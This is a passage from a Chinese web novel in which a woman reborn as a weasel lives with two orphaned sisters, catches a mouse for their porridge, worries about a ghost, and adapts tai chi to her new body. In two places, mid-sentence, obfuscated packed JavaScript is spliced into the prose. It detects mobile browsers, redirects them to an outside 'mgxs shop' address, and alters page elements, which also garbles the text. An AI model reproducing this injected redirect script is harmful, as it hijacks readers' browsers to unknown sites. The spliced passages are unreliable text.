这样的人,还活着干嘛?老天当真是不长眼,死的明明该是这个男人才对。 许芝不忿地吐了口气,又想到了那个张婆婆口中邪门的事情,听起来格外的耳熟,想必就是刘大娘家托她来这里请人的,韩瑛去不了也好,刘大娘可真是鬼,为了挣钱反而丢了命,就不值得了。 她站了起来,拉长了身子,伸了伸懒腰,腹部被拉扯着痛了起来,她赶紧收回来,打个哈欠,抖了抖身上的毛,抬起前爪搭在箩筐壁上,微微用力,箩筐就朝着前头倒去。她转头从后面走了出来,绕到在地上滚动的箩筐前,抬爪一摁,箩筐停了下来,两只前爪搭上去,指缝间的爪子探了出来,在箩筐上咵呲咵呲抓挠几下,磨了磨爪子,这才朝着门口走去。 门外亮堂堂的,太阳出来了,院子里地上的泥巴被晒了一会儿,正处于一种倒湿不干的状态,看起来更烂了。 许芝没有出去,她顺着粗糙的屋墙直接爬上了房顶,深色吸热,比起地上的泥泞,屋顶的瓦片已经干了,还带着微微的热意,正适合歇脚。 许芝走到最高处,寻了个干净的地方,一屁股坐了下来。 听听附近的动静,再闻闻看看,附近没有猫,她这才看向了下头,院子里没有人,倒是厨房里传来了声响,一个小女童站在厨房门口,踮着脚往她的位置看了看,用还带着点沙哑的稚嫩嗓音说:“阿姐,是小黄狼睡醒了,它跑到屋顶上去了。” 厨房里响起韩瑛的声音:“小妹,你叫小黄狼下来吃饭了。” 于是小女童冲着许芝喊了起来:“小黄狼小黄狼,你快下来,要吃饭啦。” 她的声音还是虚虚的,听起来就中气不足,喊着喊着还咳嗽了起来,韩瑛赶忙说:“小妹,你莫喊了,来喝点热水。” 小女童哒哒哒地走进了厨房。 许芝坐在屋顶上,微风拂来,把她身上的毛吹着动了动,她冲着厨房的方向闻了闻,一股子熟悉的气味入了鼻中,是粥,里头没有加鸡蛋,味道很淡,应该跟今早的那碗差不多。 想到这里,饥肠辘辘的许芝当即就不饿了。 肚子当然还是空空的,只是原本旺盛的食欲在这气味下偃旗息鼓,龟缩了。 许芝看着朦胧的蓝天,惆怅地叹了口气,不想吃粥。 就是人也没有天天喝粥的道理,更不要说她现在是黄鼠狼,前两个月跟着狼妈吃吃喝喝的记忆告诉她,她现在是肉食动物,虽然偶尔也会吃吃果子一类的东西,但那是零食,大多数时候,狼妈都是带着她吃肉的。 各种肉,山里的野鸡、天上的鸟、水里的鱼和林子里的蛇…… 只要是能逮住的,狼妈来者不拒。 鼻端一股鸟味传来,许芝咽了咽唾沫,循着味儿看向了隔壁院子,虽说看不大清楚,但隐约能看到在院子里踱步的一只只鸡,一边走着,一边在地上啄食,发出咕咕咕的响声。 她嘴里的唾沫分泌得更多了,鸡,鸡腿、鸡胸、鸡翅膀,红烧鸡块、香煎鸡胸、奥尔良烤翅…… 咕咚,许芝不住地咽着口水,要说成了黄鼠狼最让她遗憾的事情就是这个了,黄鼠狼没有双手,只有爪子,就算她知道好些好吃的,没有手、没有调料,也根本吃不上。 做了二十多年的人,吃了二十多年的中华美食,让她安心做一只茹毛饮血的黄鼠狼,怎么可能?! 咕噜噜,咕噜噜,肚子跟着叫了起来,许芝坐不住了,她是真的饿了,现在食欲也被勾了起来,迫切地想要吃点好吃的。 走到屋顶边缘,看看韩家的厨房,她清醒了下来,好吧,好吃的肯定是吃不上了,但不管怎么说,总得吃点肉吧。 还不知道今晚情况怎么样,刘大娘会不会再来寻她,如果要来,她饿着肚子,浑身无力,就算能跑也跑不了多远。 再说了,韩玥病着呢,也需要营养,光喝点清汤寡水的粥肯定也是不行的。 那么,肉从何来? 许芝看了看远处,闻了闻气味,找准了方向,视野中出现了模糊的大片灰色,那是山,也是她十日前来的方向,只要走上半日,就能入山了,山里肯定是有很多肉的,可是她抓得住吗? 十日前,她之所以跑到村中来,不就是因为离了狼妈后她就没捕到过猎物,现在过去了十天,她有了上辈子的记忆,在捕猎这件事情上……毫无长进。 不仅如此,她现在身上有伤,捕起猎来怕是还赶不上十天前的自己。 许芝收回了视线,山里是去不得的。 她忍不住又看向了洪大娘家的鸡,光听动静就知道,一只只的可肥了,要能弄来一只,别说是她,就是两个小姑娘一起吃也吃不完。 可惜,她没有钱,甚至现在还欠着别人钱呢。 又是一阵风吹来,拂过她的耳朵,带来丝丝缕缕的凉意,许芝看着自己的爪子,神色有些凝重,事情真的就到这一步了吗? 她站在屋顶一动不动,视线落在屋瓦上生出一株小草上,不知过了多久,一只鸟儿从上空飞过,发出啾啾的叫声。 许芝这才动了,先是走到了屋顶侧面,跃到了靠在屋侧的一捆竹竿上,顺着跑几步,便轻巧地落在了地上。 她没有贸然走到院中,而是贴着墙根走,这里的地虽然也是湿的,但好歹没那么烂,脏爪子的程度有限。 一路走到了厨房门口,才进去,韩玥就虚弱地喊了起来:“小黄狼回来啦!” 小女童原本坐在她姐姐身边,见到许芝就想要起来,许芝走到了她身边,用尾巴扫了扫她的手,小病孩儿,还是赶紧坐下吧。 把尾巴从小女童手里抽出来,她又走到了韩瑛身边,也扫了扫她,雨露均沾后,她慢条斯理地走到了厨房角落。 这里堆着不少东西,杂七杂八的一大堆,看着乱糟糟的,定睛一看,其实都是些不值钱的玩意儿。 竹编的背篓、又一个箩筐,哦,还是破的,竹篾都翘出来了,还有一个破洞的筲箕,里头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168879|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放着些草,都是干的,韩瑛给她和韩玥煮的草药就是从这里头拿的。 最多的还是一个个奇形怪状的木头根和木头疙瘩,个头都不小,应该是以前大人还在的时候捡回来做柴烧的,可现在家里只有两个小孩儿,没一个能将这些大木头给劈开,自然只能堆在这里了,扔了也是舍不得的,毕竟能当柴火烧。 许芝抬起爪子走到了一个木头疙瘩上,在小小的一块截面上坐了下来,看着这堆灰扑扑的杂物,各种气味涌入她的鼻中。 她的鼻子很灵,有些气味又在前两月的经历中刻入了脑海深处,即便是第一天到韩家,即便那个时候她虚弱得不得了,可有些气味还是被她捕捉到了。 许芝是不太想去在意的,她好歹做了二十多年的人,没有恢复记忆的时候就算了,现在既然记起了上辈子的事情,有些事情就不愿意做了。 耳朵一动,她看向了杂物堆中两个紧挨着的大木头,极其细微的沙沙声混在身后两个小孩儿的说话声、清粥咕噜声中清晰入耳,她伏下了身子,轻手轻脚地走了过去,还没走到,砰的一声,逼仄昏暗的缝隙中,什么东西蹿了出来,许芝眼神一动,猛地就扑了上去,前爪一挠一勾,俯身张口咬住,长长的脖子使劲儿地甩了起来。 前后不过几息,她甚至没来得及想太多,等到回过神来的时候,嘴里叼着的东西已经不动了,她的心脏怦怦跳动着,嘴里是毛茸茸的温热,犬齿还能感受到肌肉的跳动,血腥味也随之入了口中。 许芝下意识的吞咽了口水,下一刻,她如遭雷击,啪嗒一声,嘴里的东西落在了地上,只抽了抽爪子就不动了,就这么死透了。 两个小姑娘围了过来,发出了兴奋的声音—— “耗子,阿姐,是耗子,小黄狼逮着耗子了!” “我都不知道那里面有耗子呢,小黄狼可真厉害!” “那是当然,阿娘说过,黄狼逮耗子可比猫都要厉害得多!” 许芝没有再看一眼地上的东西,她走到了厨房门口,仰头看着天,灰蓝的天空朦朦胧胧,像极了画家笔下的忧郁之作,她蹲坐在门槛上,听到一只又一只的鸟儿从上空飞过,隔壁院中的鸡咕咕叫个不停,身后两个小姑娘还在叽叽喳喳—— “阿姐,这个耗子好大好肥,小黄狼没吃,我们可以吃吗?” “当然可以,我们把耗子煮在粥里,这样我们就有肉粥吃了!” “好欸,肉粥,小妹要喝香喷喷的肉粥!” 许芝一动不动,听着两个小姑娘在后头兴奋地忙活着,脱皮、取出内脏,再用清水洗净,用刀砍成小块,丢入了陶锅中。 噗噜噜,噗噜噜,一丝别样的气味从身后的陶锅中传了出来。 气味越来越浓,身后传来了喊声:“小黄狼,来吃饭啦!” 许芝起身走入了厨房,来到了两个小姑娘身边,她们挨着坐着,手上各自捧了一个陶碗,鼓起腮帮子吹了吹,再喝上一口,两张小脸上都露出了满足的神情。 许芝看向了自己身前,一个陶碗中,是小半碗粥,比起早上的浓稠了些许,其中掺杂着不少细碎的肉块,伴随着腾起的热气,一股香气直扑鼻中。 等粥凉了些,她才凑上去,避开肉块,试探着张开嘴,不知怎地入口的竟然是一块肉,她甚至没反应过来就已经囫囵吞下了。 许芝的眼睛微微湿润,耗子肉……真香啊。 11.第 11 章 午后,阳光正好,微风不燥。 村子在中午短暂的热闹后又安静了下来,韩家的屋檐下倒扣着一个箩筐,一只黄毛小兽躺在箩筐顶,它的个头实在是不大,就是拉长了身子,也没能超出箩筐范围,只有大大长长的尾巴耷在了箩筐壁上,在微风的吹拂中轻轻晃动。 金色的暖阳毫不吝啬地洒下,斜斜地照入屋檐下,将它笼罩其中。 许芝在温暖的阳光下昏昏欲睡,中午吃下的肉化作了能量,慢慢地滋养着她的身体,十日来,她就没有这么舒坦过。 黄鼠狼,果然还是要吃肉才行啊。 伤口晒着太阳,微微有些痒意,从头到尾都是暖融融的,昨夜的经历好像都变得不真实了起来。 许芝放缓了呼吸,意识渐渐往下沉,迷迷糊糊间,耳朵一动,听到屋中有动静传来,她没有动弹,听着两个小姑娘走了出来,两只小手跟着就落在她身上,韩瑛摸着她的耳朵,问她:“小黄狼,我们要去外头挖些野菜,再捡些柴火,你要跟我们一起出去吗?” 许芝微微抬起尾巴扫了扫她们的手,眼睛都没睁开,摸着她后脚的韩玥忍不住撸起了她的尾巴,用气声说:“阿姐,小黄狼想睡觉。” 许芝把尾巴从她手中抽了出来,现在她对撸尾巴这件事情有阴影。 韩瑛也低声说:“昨天晚上累到它了,就让它留在家中,我们出去。” 又对许芝道:“小黄狼,我们把门掩了过来,没有关,给你留了一条缝,你待会儿去屋子里睡觉哦,不然会有猫来的。” 许芝抖了抖左耳,听着两个小孩儿去厨房背了背篓,离开了家中。 耳边的脚步声渐渐远去,她睁开了眼睛,视线越过屋檐看了出去,入目的是灰蓝的天,一朵朵洁白柔软的云朵点缀其中,朦朦胧胧,只能看个大致的轮廓,正在天空中慢吞吞地移动着。 就好像生活在天空中的雪白巨兽,温吞、缓慢,性情和顺,永远都是一副不急不徐的模样。 一朵白云慢条斯理地动着,一点又一点从从容容地把太阳给遮住了,于是许芝眼前跟着就暗了下来。 她翻了个身,视线落回了地上,看着眼前的小院,晒了一上午,院中的地干了不少,虽说还有地方是稀沥沥的,但大部分都已不再是前三日那湿软的样子,而是变得干硬起来,像是最严谨的勘察人员,把地面上的一切痕迹都固定了下来。 出现最多的自然是脚印,一个大些,一个小些,从卧房到厨房,又从厨房到卧房,脚印反复地叠加,原本的模样已经看不大出来了,其间还夹杂着些梅花印,那是许芝留下的。 她仔细地看着从厨房出来的脚印,一个个地辨认着,确定这些足印中只有韩瑛韩玥以及她留下的。 昨夜的刘大娘没有在这里留下丝毫痕迹。 许芝收回视线,踩了踩脚下的箩筐,这就是昨夜罩着她的那个,此刻她好好地站在了箩筐上,怎么都想不出来昨夜刘大娘是怎么做到的,竟能直接把她从箩筐里给捞出去。 如果刘大娘今夜再来,就算她没有被箩筐困住,能在外头四处奔逃,真的就能逃掉吗? 许芝看着自己的爪子,目露沉思,几息后,突然在自己身上嗅闻了起来,入鼻的气味有些杂,有点泥腥味,还带着极浅的血腥气,是她伤口处传来的,伴随着中午吃过的肉粥味,与她本身的气味混杂在了一起。 还好,她身上没有昨夜闻过的纸灰味,也没有今天早上棺材里的臭气,更没有多出什么奇怪的气味来。 即便如此,她也不敢放心,刘大娘可是鬼,谁知道鬼有些什么手段,恐怖片里的人被鬼盯上了,身上被留下了记号,普通人也是怎么都发现不了的。 但有一点是肯定的,刘大娘已经知道了韩家,如果今夜还要来寻她,一定会出现在这里。 如果自己在夜色降临前跑到外头躲起来,刘大娘是不是就有寻不到她的可能? 若是这样,留在韩家的两个小孩儿会怎么样? 看昨晚的情况,韩瑛韩玥就睡在厨房隔壁的卧房中,刘大娘压根没有注意到她们,但那是因为刘大娘已经抓住她了,她吸引了刘大娘的注意,如果没有她,刘大娘会盯上两个小孩儿吗? 她因为会打太极捡回了一条命,两个小孩儿如果被鬼盯上,能活下来吗? 许芝吐了口气,天上,白云慢慢悠悠地走着,被它遮住的太阳渐渐露了出来,阳光再次落在了她身上,暖融融的,但她心里却像井底的石头一样,冷沉冷沉的。 昨夜那种险些被冻死的滋味她是真的不想再尝了,但这鬼是她招惹回来的,就不能让两个一无所知的孩子也落入险境。 要不,直接带两个孩子出去避一晚? 不妥不妥,先不说根本不确定刘大娘有没有在她身上做记号,要是躲出去了,刘大娘直接找了过来,那不就是白躲了。 就是刘大娘找不过来,两个孩子也不可能在野外安全度过一晚。 冷就不说了,野外的蛇虫鸟兽对两个小孩儿都是威胁,她在外头尚且自身难保,哪里能照看好两个孩子?更不要说韩玥还病着,要是在外头受冷受惊吓一晚,说不定病立刻就翻了,再次高烧不退,可就麻烦了。 想来想去,今晚她只能留在韩家,也必须留在韩家,还得想法子把刘大娘给引出去。 既然这样,就要早做准备,不能再被箩筐罩着出不来是一方面,更重要的是,她不能再像昨晚那样,被刘大娘抓住不久后,身体就冷得发僵,就是寻到了逃跑的机会,也根本跑不动了。 许芝抬头看向了院门,虽然视野略显模糊,但也能看出来,院门是关着的,韩瑛出去的时候还从外面把门给锁上了。 再看看连接院门的院墙,都是土墙,不算太高,好在这个村子里似乎也没有很高的人,就算走院墙外过也看不进来。 她抖了抖一身的毛,抬起前爪,人立起来,低头打量着自己现在的模样。若说像人,自然是不可能的,她现在四肢很短,身子很长,细细长长的一条,后爪落地的面积并不大,站是能站起来,也能稳稳当当地立着,但要说像人一样长时间双腿走路,就有些困难了。 许芝在箩筐上走了走,凹凸不平的竹篾有些硌脚,她爬了下来,落在地上,寻了块干燥平坦又宽敞的地,沐浴在阳光下,再次人立起来。 背对着屋舍,面朝院门,目视前方,面色松净,吸气,缓缓地将两只前爪抬起…… 她能想到的唯一管用的准备就是这个了,昨夜那样危急的关头,太极都能保她一命,今日提前打一打,说不定会有什么意外之喜。 这么想着,她将气往下沉,往下沉,继续往下沉,许芝的左耳抖了抖,这口气怎么还没到底?是她现在身体太长了吗? 她放松了身体,让整个身体都沉了下去,气也随之缓缓下沉,最后在两条后腿中间的位置停了下来。 这个位置也是她今早在棺材中涌出暖流的地方,也正在她这具身体的肚脐下方一点,估计就是丹田的位置了。 吸气,前腿抬至与肩……嗯,把前爪抬至与地面平行就是了,呼气,前爪微微往下摁,后腿弯曲,重心下沉。 许芝将后腿微曲,嘴边的胡须动了动,她的重心此刻在腹部中间偏下的位置,实在是称不上低,她再弯了弯后腿,重心下降了一丝,然后……就降不下去了,因为她的后腿已经不能再弯了。 这是正常的,许芝在心里对自己说,毕竟她现在已经不是人了,而是一只黄鼠狼,身体的重心自然也不可能跟做人的时候完全相同。 只要将重心降到最低点就足够了,不必要求所有的一切都跟上辈子一模一样。 起势还要求十指微曲呢,她现在的爪子虽然能分辨出十个指头来,但又短又尖,跟猫爪子一样,怎么都不可能变出能弯曲的指节来。 所以不必求个完美,只要能用现在的身体把拳式的大架子做到位就行了。 气呼了出来,接下来是第一式——揽雀尾。 吸气,右腰动,带动右胯,重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171006|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心右移,等等,许芝的眼中露出了茫然之色,右腰?她的腰呢? 她低头看向自己的身体,前后腿之间,直上直下的一截身躯,实在很难看出腰在哪里。 她放下爪子摸了摸自己的身躯,人的腰,在胯骨之上,肋骨之下,她在自己的身躯上摸到了肋骨,大约占据了躯体的二分之一,胯骨自然是在后腿根的位置。 这么说,她的现在的腰就是从后腿到身躯的中间部位,许芝躬身比划了一下,她的腰居然有这么长! 好吧,不管多长,只要有腰就成。 她重新摆开了架子,吸了口气,收紧腰腹,以腰带胯……等等等等,许芝又茫然了,她发现自己的腹部好像收不紧。 再次吸气收腹,这次清楚地感觉到了,自己的腹部松松垮垮,一点反应都没有,真的紧不起来! 她伸出爪子去摸自己腰腹的位置,软软的皮毛下只有一层薄薄的肉,还软软的,怎么回事?难道她没有腹肌吗? 毛茸茸的脸上露出了难以置信的神色,许芝是真的不敢相信。 要知道上辈子她是个社畜,一天中大部分时间都坐在电脑面前,最大的活动量就是动动手指敲击键盘,因为加班严重,连睡眠时间都不够,更不要说运动了。 就这样一个称得上四肢俱废的她,晚上躺在床上的时候,只要收紧腹部,都能摸到腹部的肌肉,虽说不多,但真的有。 现在,她可是个野生动物,出生两个多月以来,日日跟着狼妈在山林里跑来跑去,爬树、钻洞、挖坑、捕猎,每天都在锤炼着自己的身体,她怎么可能会没有腹肌这种东西?她最不缺的就是发达的肌肉! 但她的确没有摸到,甚至都没有感受到,许芝想了想,躺在了地上,有没有腹肌也很好验证,做做卷腹就知道了。 她把注意力集中在了腹部,收紧腹部,起……起……起不来。 再用用力,她腰腹的位置带动着身体在地上左右摇晃了起来,像个钟摆一样,把地擦得呲呲作响,起反正是起不来的。 许芝翻身站了起来,把身上的灰抖掉,表情有些凝重,没有腹肌,腰部就没办法发力,这个太极要怎么打? 她人立起来,看着自己的后腿,难不成直接动腿?心念一动,她把右腿提了起来,却感受到了腰部的拉扯。 许芝眨眨眼睛,感受着发力的部位,居然是她腰背的位置,躬身把爪子放了上去,右腿提起,爪下便清晰地感受到肌肉的紧绷。 她把前爪放在了地上,腰上使劲儿,微微拱了起来,一股力道在腰间蓄势待发,只要她一动就能立刻弹射而出。 原来如此!许芝恍然大悟,她的确是没有腹肌了,因为她现在的身体压根就用不上腹肌,现在对她有用的是腰背的肌群! 不知道这处的肌肉叫什么名字,就先叫腰背肌吧,一样能带动下肢动起来,一样能连接上下身! 许芝忍不住轻笑一声,口中跑出叽的一声,她又闭上了嘴,心情依然很不错,打太极,腰是主宰,是全身的核心枢纽,不管是前头的肌肉发力,还是后头的肌肉发力,只要能用,能承上启下,那么这个太极就打得。 她抖抖身上的毛,原本有些黯淡的毛发在阳光下似乎增添了几分光泽,她再次摆开了架子,从起势开始,双爪画圈送出,再画圈立肘将右爪打出,右爪随即撮勾,好吧,指头撮不起来,只好放弃,第一式揽雀尾就这么完成了。 接着是单鞭,接连揽雀尾的最后一个动作,努力撮了一点的右爪不动,吸气,左爪缓缓移向左侧,来到面中时,气由吸转为呼,意识之中,力道从右腕过肘肩来到左肩肘腕,待左爪抵达左侧之时,左爪送出,爪心力道并发。 一式又一式,许芝打得很慢很慢,昨夜打的时候,她脑海中的自己依然是人,虽说需要更加集中注意力,但一招一式打起来与从前并没有太大区别。 现在是她第一次以黄鼠狼之身来打太极,所以身体的每个部位都需要仔细感受,每个动作都需要认真地体会。